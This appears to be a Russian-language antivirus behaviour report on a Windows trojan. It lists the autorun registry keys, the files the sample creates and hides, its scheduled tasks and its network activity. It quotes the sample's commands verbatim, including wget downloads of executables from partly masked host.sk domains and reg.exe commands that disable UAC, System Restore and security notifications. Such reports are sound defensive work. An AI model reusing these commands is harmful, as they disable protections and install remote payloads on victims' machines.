Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'System' = '%WINDIR%RecoveryEnvironment\System.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'System' = '%WINDIR%RecoveryEnvironment\System.exe'
Вредоносные функции:
Для затруднения выявления своего присутствия в системе
блокирует:
- Компонент восстановления системы (SR)
- Средство контроля пользовательских учетных записей (UAC)
- Центр обеспечения безопасности (Security Center)
Создает и запускает на исполнение:
- 'C:\ProgramData\WGET.EXE' -c -S -r -nd -P C:\ProgramData "http://wu###te.host.sk/ImagingDevices.exe" "http://wu###te.host.sk/Cygwin.exe" "http://by#####te2012.host.sk/ImagingDevices.exe" "http://by#####te2012.host.sk/Cygwin.exe"
- 'C:\ProgramData\nircmd.exe' win hide ititle "cmd.exe"
Запускает на исполнение:
- '<SYSTEM32>\reg.exe' ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableInstallerDetection /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableSecureUIAPaths /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
- '<SYSTEM32>\ping.exe' localhost -n 1
- '<SYSTEM32>\notepad.exe' C:\ProgramData\Leeme.txt
- '<SYSTEM32>\at.exe' 22:05 /every:L,M,Mi,J,V,S,D "C:\ProgramData\Cygwin.bat"
- '<SYSTEM32>\at.exe' 22:10 /every:L,M,Mi,J,V,S,D "C:\ProgramData\End.bat"
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Security Center" /v FirewallDisableNotify /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Security Center" /v UACDisableNotify /t REG_DWORD /d "1" /f
- '%WINDIR%\regedit.exe' /S "%HOMEPATH%\Local Settings\Temp.\DefOpen.reg"
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Security Center" /v AntiVirusDisableNotify /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v System /t REG_SZ /d "%WINDIR%RecoveryEnvironment\System.exe" /f
- '<SYSTEM32>\attrib.exe' +H +S C:\ProgramData\UpdateWindows.bat
- '<SYSTEM32>\attrib.exe' +H +S C:\ProgramData\WGET.EXE
- '<SYSTEM32>\attrib.exe' +H +S C:\ProgramData\nircmd.exe
- '<SYSTEM32>\attrib.exe' +H +S C:\ProgramData\tk.bat
- '<SYSTEM32>\attrib.exe' +H +S C:\ProgramData\System.exe
- '<SYSTEM32>\attrib.exe' +H +S %WINDIR%RecoveryEnvironment\System.exe
- '<SYSTEM32>\attrib.exe' +H +S C:\ProgramData\Cygwin.exe
- '<SYSTEM32>\attrib.exe' +H +S C:\ProgramData\ImagingDevices.exe
- '<SYSTEM32>\attrib.exe' +H +S %WINDIR%RecoveryEnvironment /D /S
- '<SYSTEM32>\attrib.exe' +H +S C:\ProgramData\Cygwin.bat
- '<SYSTEM32>\reg.exe' ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v System /t REG_SZ /d "%WINDIR%RecoveryEnvironment\System.exe" /f
- '<SYSTEM32>\attrib.exe' +H +S C:\ProgramData /D /S
- '<SYSTEM32>\attrib.exe' +H +S C:\ProgramData\Leeme.txt
- '<SYSTEM32>\attrib.exe' +H +S C:\ProgramData\ultrafiles.bat
- '<SYSTEM32>\attrib.exe' +H +S C:\ProgramData\End.bat
- '<SYSTEM32>\attrib.exe' +H +S C:\ProgramData\Exterminator.bat
- '<SYSTEM32>\at.exe' 22:00 /every:L,M,Mi,J,V,S,D "C:\ProgramData\UpdateWindows.bat"
- '<SYSTEM32>\at.exe' 13:29 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 14:38 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 11:47 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 12:51 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 17:22 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 18:33 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 15:24 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 16:46 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 02:37 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 03:18 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\cmd.exe' /c ""C:\ProgramData\tk.bat" "
- '<SYSTEM32>\at.exe' 01:29 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 09:35 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 10:17 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 07:08 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 08:23 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 19:06 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 23:23 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 00:18 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 22:49 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 23:02 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 21:50 /every:L,M,Mi,J,V,S,D "C:\ProgramData\Exterminator.bat"
- '<SYSTEM32>\at.exe' 21:55 /every:L,M,Mi,J,V,S,D "C:\ProgramData\System.exe"
- '<SYSTEM32>\at.exe' 21:00 /every:L,M,Mi,J,V,S,D "C:\ProgramData\UpdateWindows.bat"
- '<SYSTEM32>\at.exe' 21:30 /every:L,M,Mi,J,V,S,D "%WINDIR%RecoveryEnvironment\System.exe"
- '<SYSTEM32>\at.exe' 20:57 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 21:14 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 20:11 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 20:36 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 22:15 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 22:32 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 21:34 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
- '<SYSTEM32>\at.exe' 21:51 /every:L,M,Mi,J,V,S,D "C:\ProgramData\ultrafiles.bat"
Изменения в файловой системе:
Создает следующие файлы:
- C:\ProgramData\ultrafiles.bat
- C:\ProgramData\System.exe
- C:\ProgramData\WGET.EXE
- C:\ProgramData\ImagingDevices.exe
- %WINDIR%RecoveryEnvironment\System.exe
- %TEMP%\DefOpen.reg
- C:\ProgramData\UpdateWindows.bat
- C:\ProgramData\Exterminator.bat
- C:\ProgramData\End.bat
- C:\ProgramData\Cygwin.bat
- C:\ProgramData\tk.bat
- C:\ProgramData\nircmd.exe
- C:\ProgramData\Leeme.txt
Присваивает атрибут 'скрытый' для следующих файлов:
- C:\ProgramData\Exterminator.bat
- C:\ProgramData\ultrafiles.bat
- C:\ProgramData\tk.bat
- %WINDIR%RecoveryEnvironment\System.exe
- C:\ProgramData\System.exe
- C:\ProgramData\WGET.EXE
- C:\ProgramData\End.bat
- C:\ProgramData\Cygwin.bat
- C:\ProgramData\Leeme.txt
- C:\ProgramData\UpdateWindows.bat
- C:\ProgramData\nircmd.exe
Удаляет следующие файлы:
- %TEMP%\DefOpen.reg
Сетевая активность:
Подключается к:
- 'wu###te.host.sk':80
TCP:
Запросы HTTP GET:
- wu###te.host.sk/ImagingDevices.exe
UDP:
- DNS ASK wu###te.host.sk
Другое:
Ищет следующие окна:
- ClassName: 'RegEdit_RegEdit' WindowName: '(null)'
- ClassName: 'Indicator' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
